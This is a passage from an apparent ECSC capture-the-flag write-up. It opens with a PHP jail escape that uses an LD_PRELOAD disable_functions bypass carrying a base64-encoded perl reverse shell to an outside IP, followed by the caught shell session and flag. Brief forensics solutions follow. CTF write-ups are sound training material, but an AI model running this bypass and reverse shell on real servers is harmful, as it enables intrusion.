ANAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACZAAAAAQAAAAIAAAAAAAAAsAkAAAAAAACwCQAAAAAAALwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAowAAAA4AAAADAAAAAAAAAPgNIAAAAAAA+A0AAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAK8AAAAPAAAAAwAAAAAAAAAIDiAAAAAAAAgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC7AAAAAQAAAAMAAAAAAAAAEA4gAAAAAAAQDgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwAAAAAYAAAADAAAAAAAAABgOIAAAAAAAGA4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAHIAAAABAAAAAwAAAAAAAADYDyAAAAAAANgPAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADJAAAAAQAAAAMAAAAAAAAAABAgAAAAAAAAEAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA0gAAAAEAAAADAAAAAAAAAGAQIAAAAAAAYBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANgAAAAIAAAAAwAAAAAAAABoECAAAAAAAGgQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAADdAAAAAQAAADAAAAAAAAAAAAAAAAAAAABoEAAAAAAAAC0AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAlRAAAAAAAADmAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=='; $meterpreter = 'IyEvYmluL3NoCnBlcmwgLU1JTyAtZSAnJHA9Zm9yaztleGl0LGlmKCRwKTskYz1uZXcgSU86OlNvY2tldDo6SU5FVChQZWVyQWRkciwiMzcuMTg3LjIuNTc6NTMzMzMiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8PjsnCg=='; file_put_contents('/tmp/chankro.so', base64_decode($hook)); file_put_contents('/tmp/acpid.socket', base64_decode($meterpreter)); putenv('CHANKRO=/tmp/acpid.socket'); putenv('LD_PRELOAD=/tmp/chankro.so'); mail('a','a','a','a');

Kidding? I won't write a TCP socket handling script when I can simple do this:

1
2
3
4
5
6
7
8
9
10
11
12
$ nc challenges.ecsc-teamfrance.fr 4002 < send.txt

/// PHP JAIL ////

There's a file named flag on this filesystem.
Find it.
Read it.
Flag it.


Enter your command:
Bye!

EZ PZ. Et voilà un coquillage à l'envers (It's for you ANSSI guys)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$  nc -vnlp 53333
Connection from 51.91.7.35:41242
grep -r flag /home/user0
/home/user0/program.py: There's a file named flag on this filesystem.
ls -lRhA /home
/home:
total 4.0K
drwxr-xr-x 1 root user0 4.0K May 19 17:18 user0

/home/user0:
total 32K
-rw-r--r-- 1 root user0 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root user0 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root user0 675 May 15 2017 .profile
drwxr-xr-x 1 root user0 4.0K May 19 17:18 .sensitive
-rw-r--r-- 1 root user0 282 May 19 17:17 config.py
-rw-r--r-- 1 root user0 281 May 19 17:17 main.php
-rw-r--r-- 1 root user0 3.2K May 19 17:17 program.py
-rw-r--r-- 1 root user0 1.2K May 19 17:17 server.py

/home/user0/.sensitive:
total 4.0K
drwxr-xr-x 1 root user0 4.0K May 19 17:18 randomdir

/home/user0/.sensitive/randomdir:
total 4.0K
-rw-r--r-- 1 root user0 47 May 19 17:17 flag
cat /home/user0/.sensitive/randomdir/flag
ECSC{22b1843abfd76008ce3683e583c66e85c6bbdc65}

🔗46 - Petites notes - Forensics

Wireshark > Statistics > Capture file properties

1
2
3
4
5
6
7
Packet Comments 
Frame 118: Cette capture ressemble à une simple navigation légitime.
Frame 874: Cette simple navigation permet de commencer tranquillement. Réassemble les commentaires pour obtenir le flag.
Frame 3188: ECSC{cShl
Frame 4100: e5dO
Frame 4221: KYBfj
Frame 4903: LNzT}

Always check metadata.

🔗43 - Not so FAT - Forensics

Sol a: Testdisk => FAT16 => List files => Extract flag.zip Sol b: Binwalk => Foremost

Then extract with password password

ECSC{eefea8cda693390c7ce0f6da6e388089dd615379}

Share